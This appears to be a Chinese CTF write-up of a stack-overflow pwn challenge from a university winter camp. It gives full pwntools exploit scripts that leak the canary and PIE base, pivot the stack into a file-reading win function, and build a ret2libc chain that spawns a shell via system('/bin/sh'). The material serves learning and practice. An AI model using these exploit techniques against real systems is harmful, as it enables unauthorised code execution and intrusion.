几经周折rop

题目

链接:https://pan.baidu.com/s/1_EXQHF0uumBE2tWhloeiNg
提取码:2thf

某大学冬令营,题目本来是很简单的,但是刚开始出题方靶机环境可能出现了某些问题,导致exp一直可以打通本地,打远程一直打不出flag,也不敢质疑是官方的问题,一直在改自己的exp,不过也引发了自己的一些思考,写出了多种思路,最后官方修复了,写的几个exp也都打通了

初探

运行

在这里插入图片描述

查看保护

在这里插入图片描述

好家伙保护开满了

ida静态分析

在这里插入图片描述

很快发现了两处输入都有漏洞函数点,buf只有8byte容量,却分别读入0x1e和0x5a,还有后门函数win嘿嘿

在这里插入图片描述

很明显,后门函数提供给我们伪造栈帧的便利,读取flag.txt文件并打印出来,但是缺少fla,那么思路大致有了,伪造栈帧并进行rop

调试并编写exp

  1. 由于开启了canary保护,我需要先泄露canary,利用canary最low一个byte恒为0,且canary恒在push rbp的上方,buf距离rbp0x12=18,我们我们只需要10byte就可以到canary,再覆盖canary最low一个byte就可以利用printf(“You said: %s\n”, (const char *)&buf);把canary输出出来,paylaod为b’a’*11,泄露canary的同时我们也泄露了保存的rbp,后面伪造栈帧时有用,泄露完之后我们在下一次read要填补上canary,进行下一下循环,getfeedback()
  2. 由于开启pie保护,我们还要泄露pie基址

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SAjUoEnk-1679311191626)(23-2-16/image-20230216234031392.png)]

b’a’*26泄露地址,减去elf处改地址即为pie基址,这里不用担心我们会覆盖canary,canary只有在该函数返回时,才会检测canary,

在这里插入图片描述

下面还有一次read函数,这次read我们构造rop链,恢复canary

  1. 在构造前我们先分析下win
   win函数汇编
   0x0000555555555249 <+0>:     endbr64 
   0x000055555555524d <+4>:     push   rbp
   0x000055555555524e <+5>:     mov    rbp,rsp
   0x0000555555555251 <+8>:     sub    rsp,0x70
   0x0000555555555255 <+12>:    mov    ecx,esi
   0x0000555555555257 <+14>:    mov    eax,edx
   0x0000555555555259 <+16>:    mov    edx,edi	;很正常的64位程序寄存器传参,前6个参数从左向右rdi rsi rdx rcx r8 r9没办法干预
   0x000055555555525b <+18>:    mov    BYTE PTR [rbp-0x64],dl	f;这里开始开始把我们的参数往栈上转移,有可乘之机,
   0x000055555555525e <+21>:    mov    edx,ecx
   0x0000555555555260 <+23>:    mov    BYTE PTR [rbp-0x68],dl	l
   0x0000555555555263 <+26>:    mov    BYTE PTR [rbp-0x6c],al   a       
   0x0000555555555266 <+29>:    mov    rax,QWORD PTR fs:0x28
   0x000055555555526f <+38>:    mov    QWORD PTR [rbp-0x8],rax			
   0x0000555555555273 <+42>:    xor    eax,eax
   0x0000555555555275 <+44>:    mov    QWORD PTR [rbp-0x4a],0x0	;先把这几位置零
   0x000055555555527d <+52>:    mov    WORD PTR [rbp-0x42],0x0
   0x0000555555555283 <+58>:    movzx  eax,BYTE PTR [rbp-0x64];参数转移
   0x0000555555555287 <+62>:    mov    BYTE PTR [rbp-0x4a],al	f
   0x000055555555528a <+65>:    movzx  eax,BYTE PTR [rbp-0x68]	
   0x000055555555528e <+69>:    mov    BYTE PTR [rbp-0x49],al	l
   0x0000555555555291 <+72>:    movzx  eax,BYTE PTR [rbp-0x6c]  a;从这里倒推即可
   0x0000555555555295 <+76>:    mov    BYTE PTR [rbp-0x48],al
   0x0000555555555298 <+79>:    mov    BYTE PTR [rbp-0x47],0x67		
   0x000055555555529c <+83>:    mov    BYTE PTR [rbp-0x46],0x2e
   0x00005555555552a0 <+87>:    mov    BYTE PTR [rbp-0x45],0x74
   0x00005555555552a4 <+91>:    mov    BYTE PTR [rbp-0x44],0x78
   0x00005555555552a8 <+95>:    mov    BYTE PTR [rbp-0x43],0x74
   0x00005555555552ac <+99>:    lea    rax,[rbp-0x4a]
   0x00005555555552b0 <+103>:   lea    rsi,[rip+0xd51]        # 0x555555556008
   0x00005555555552b7 <+110>:   mov    rdi,rax
   0x00005555555552ba <+113>:   call   0x555555555140 <fopen@plt>
   0x00005555555552bf <+118>:   mov    QWORD PTR [rbp-0x58],rax
   0x00005555555552c3 <+122>:   cmp    QWORD PTR [rbp-0x58],0x0
   0x00005555555552c8 <+127>:   jne    0x5555555552e0 <win+151>
   0x00005555555552ca <+129>:   lea    rdi,[rip+0xd39]        # 0x55555555600a
   0x00005555555552d1 <+136>:   call   0x5555555550d0 <puts@plt>
   0x00005555555552d6 <+141>:   mov    edi,0x1
   0x00005555555552db <+146>:   call   0x555555555150 <exit@plt>
   0x00005555555552e0 <+151>:   mov    QWORD PTR [rbp-0x40],0x0
   0x00005555555552e8 <+159>:   mov    QWORD PTR [rbp-0x38],0x0
   0x00005555555552f0 <+167>:   mov    QWORD PTR [rbp-0x30],0x0
   0x00005555555552f8 <+175>:   mov    QWORD PTR [rbp-0x28],0x0
   0x0000555555555300 <+183>:   mov    QWORD PTR [rbp-0x20],0x0
   0x0000555555555308 <+191>:   mov    QWORD PTR [rbp-0x18],0x0
   0x0000555555555310 <+199>:   mov    rdx,QWORD PTR [rbp-0x58]
   0x0000555555555314 <+203>:   lea    rax,[rbp-0x40]
   0x0000555555555318 <+207>:   mov    esi,0x20
   0x000055555555531d <+212>:   mov    rdi,rax
   0x0000555555555320 <+215>:   call   0x555555555110 <fgets@plt>
   0x0000555555555325 <+220>:   lea    rax,[rbp-0x40]
   0x0000555555555329 <+224>:   mov    rdi,rax
   0x000055555555532c <+227>:   call   0x5555555550d0 <puts@plt>
   0x0000555555555331 <+232>:   nop
   0x0000555555555332 <+233>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000555555555336 <+237>:   xor    rax,QWORD PTR fs:0x28
   0x000055555555533f <+246>:   je     0x555555555346 <win+253>
   0x0000555555555341 <+248>:   call   0x5555555550e0 <__stack_chk_fail@plt> ;检测canary
   0x0000555555555346 <+253>:   leave  
   0x0000555555555347 <+254>:   ret 
  1. 我们把断点断到leave ret处 发现rbp指向就是我们ret的下方,如果我们把ret下方覆盖为fla的话,只需要把原来的栈提高0x6c,(0x0000555555555263 <+26>: mov BYTE PTR [rbp-0x6c],al )就可以伪造栈,伪造flag.txt,故payload为 payload=b’a’*10+p64(canary)+p64(rbp_ad+0x6c)+p64(win_ad)+b’a\x00\x00\x00’+b’l\x00\x00\x00’+b’f\x00\x00\x00’
    在这里插入图片描述
exp
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
if args['REMOTE']:
    io = remote("","")
else:
    io = process('./pwn')
    elf = ELF('./pwn')
# gdb.attach(io,"b* $rebase(0x138E)")
io.sendlineafter(b'ete a survey?',b'y')
padding=b'a'*11
io.sendafter(b'like ctf?',padding)
io.recvuntil(b'a'*11)
canary=u64(io.recv(7).rjust(8,b'\x00'))
rbp_ad=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(canary))
print(hex(rbp_ad))
io.sendlineafter(b'extra feedback?',b'a'*10+p64(canary))
io.sendlineafter(b'ete a survey?',b'y')
io.sendafter(b'Do you like ctf?',b'a'*26)
ret_ad=0x1447
io.recvuntil(b'a'*26)
base=u64(io.recv(6).ljust(8,b'\x00'))-ret_ad
print("base:"+hex(base))
win_ad=0x1273+base
payload=b'a'*10+p64(canary)+p64(rbp_ad+0x6c)+p64(win_ad)+b'a\x00\x00\x00'+b'l\x00\x00\x00'+b'f\x00\x00\x00'
io.sendafter(b'extra feedback?',payload)
io.interactive()

再探

官方的问题,前一个exp没打通,奇怪了,难道名字不叫flag.txt?,或许叫flag,又开始分析win汇编,我们可以直接控制栈和rsp,又从下面汇编的<+62>或者<+99>可以看出要打开的文件名字的存储地址为rbp-0x4a处,干嘛不直接覆盖这里,这样我们还可以控制文件名字

   0x0000555555555283 <+58>:    movzx  eax,BYTE PTR [rbp-0x64]			;参数转移
   0x0000555555555287 <+62>:    mov    BYTE PTR [rbp-0x4a],al	f
   0x000055555555528a <+65>:    movzx  eax,BYTE PTR [rbp-0x68]	
   0x000055555555528e <+69>:    mov    BYTE PTR [rbp-0x49],al	l
   0x0000555555555291 <+72>:    movzx  eax,BYTE PTR [rbp-0x6c]  a		;从这里倒推即可
   0x0000555555555295 <+76>:    mov    BYTE PTR [rbp-0x48],al
   0x0000555555555298 <+79>:    mov    BYTE PTR [rbp-0x47],0x67		
   0x000055555555529c <+83>:    mov    BYTE PTR [rbp-0x46],0x2e
   0x00005555555552a0 <+87>:    mov    BYTE PTR [rbp-0x45],0x74
   0x00005555555552a4 <+91>:    mov    BYTE PTR [rbp-0x44],0x78
   0x00005555555552a8 <+95>:    mov    BYTE PTR [rbp-0x43],0x74
   0x00005555555552ac <+99>:    lea    rax,[rbp-0x4a]
   0x00005555555552b0 <+103>:   lea    rsi,[rip+0xd51]        # 0x555555556008
   0x00005555555552b7 <+110>:   mov    rdi,rax
   0x00005555555552ba <+113>:   call   0x555555555140 <fopen@plt>

exp

把前一个exp的

win_ad=0x1273+base
payload=b'a'*10+p64(canary)+p64(rbp_ad+0x6c)+p64(win_ad)+b'a\x00\x00\x00'+b'l\x00\x00\x00'+b'f\x00\x00\x00'
替换为
win_ad=0x012AC+base 
payload=b'a'*10+p64(canary)+p64(rbp_ad+0x4a)+p64(win_ad)+b'flag.txt\x00' #flag.txt文件名字可以改成我们想打开的名字

很生气呀,拿tm的shell

本地也通了,远程还是不行,试了好几个文件名字还不行,内心开始怀疑,也不想就这样放弃,继续分析发现可以直接拿shell

和前面一样先泄露canary rbp 和pie基址,程序有使用puts函数,我们可以利用puts泄露puts地址,由于是64为需要一个pop rdi的gadget给puts传参

在这里插入图片描述

payload=b’a’*10+p64(canary)+b’deadbeef’+p64(poprdi)+p64(puts_got)+p64(puts_plt)+p64(getFeedback)

这里再次返回canary是不会变得,即使是再次生成;变了的话也好说,在泄露一次就是了,或者rop返回时跳过生成

泄露后找到libc,就可以常规rop

payload=b’a’*10+p64(canary)+b’deadbeef’+p64(poprdi)+p64(bin_sh)+p64(ret)+p64(system_ad)

这里在ret到system前多个ret是为了ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。

只有当地址的末尾是0的时候,才算是与16字节对齐了,如果末尾是8的话,那就是没有对齐。而我们想要在ubuntu18以上的64位程序中执行system函数,必须要在执行system栈顶地址末尾是0。

exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
elf = ELF('./pwn')
if args['REMOTE']:
    io = remote("","")
else:
    io = process('./pwn')
    
# gdb.attach(io,"b* $rebase(0x138E)")
io.sendlineafter(b'ete a survey?',b'y')
padding=b'a'*11
io.sendafter(b'like ctf?',padding)
# print(io.recv())
io.recvuntil(b'a'*11)
canary=u64(io.recv(7).rjust(8,b'\x00'))
rbp_ad=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(canary))
print(hex(rbp_ad))
io.sendlineafter(b'extra feedback?',b'a'*10+p64(canary))
io.sendlineafter(b'ete a survey?',b'y')
io.sendafter(b'Do you like ctf?',b'a'*26)
ret_ad=0x1447
io.recvuntil(b'a'*26)
base=u64(io.recv(6).ljust(8,b'\x00'))-ret_ad
print("base:"+hex(base))
# print("base"+hex(base))
poprdi=0x014d3+base
puts_got=elf.got['puts']+base
puts_plt=elf.plt['puts']+base
getFeedback=base+elf.symbols['getFeedback']
print(hex(puts_got))
print(hex(puts_plt))
print(hex(getFeedback))
payload=b'a'*10+p64(canary)+b'deadbeef'+p64(poprdi)+p64(puts_got)+p64(puts_plt)+p64(getFeedback)
io.sendafter(b'extra feedback?',payload)
io.recvuntil('\n')
puts_ad=u64(io.recv()[0:6].ljust(8,b'\x00'))
print("puts_ad"+hex(puts_ad))
libc=LibcSearcher('puts',puts_ad)
base_libc=puts_ad-libc.dump('puts')
# base_libc=puts_ad-0x067970
system_ad=base_libc+libc.dump('system')
# system_ad=base_libc+0x03f650
bin_sh=base_libc+libc.dump('str_bin_sh')
# bin_sh=base_libc+0x163ef7
io.sendline(b'y')
ret=base+0x0101a
print("system"+hex(system_ad))
print("bin"+hex(bin_sh))
print("ret"+hex(ret))
payload=b'a'*10+p64(canary)+b'deadbeef'+p64(poprdi)+p64(bin_sh)+p64(ret)+p64(system_ad)
io.sendlineafter(b"Can you provide some extra feedback?\n",payload)
io.interactive()

拿到shell,发现文件里有flag.txt,拿到flag,还在疑惑前两个为什么不行,又去试了一下前两个exp,这次发现都能打通,我…

总结:有得有失

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值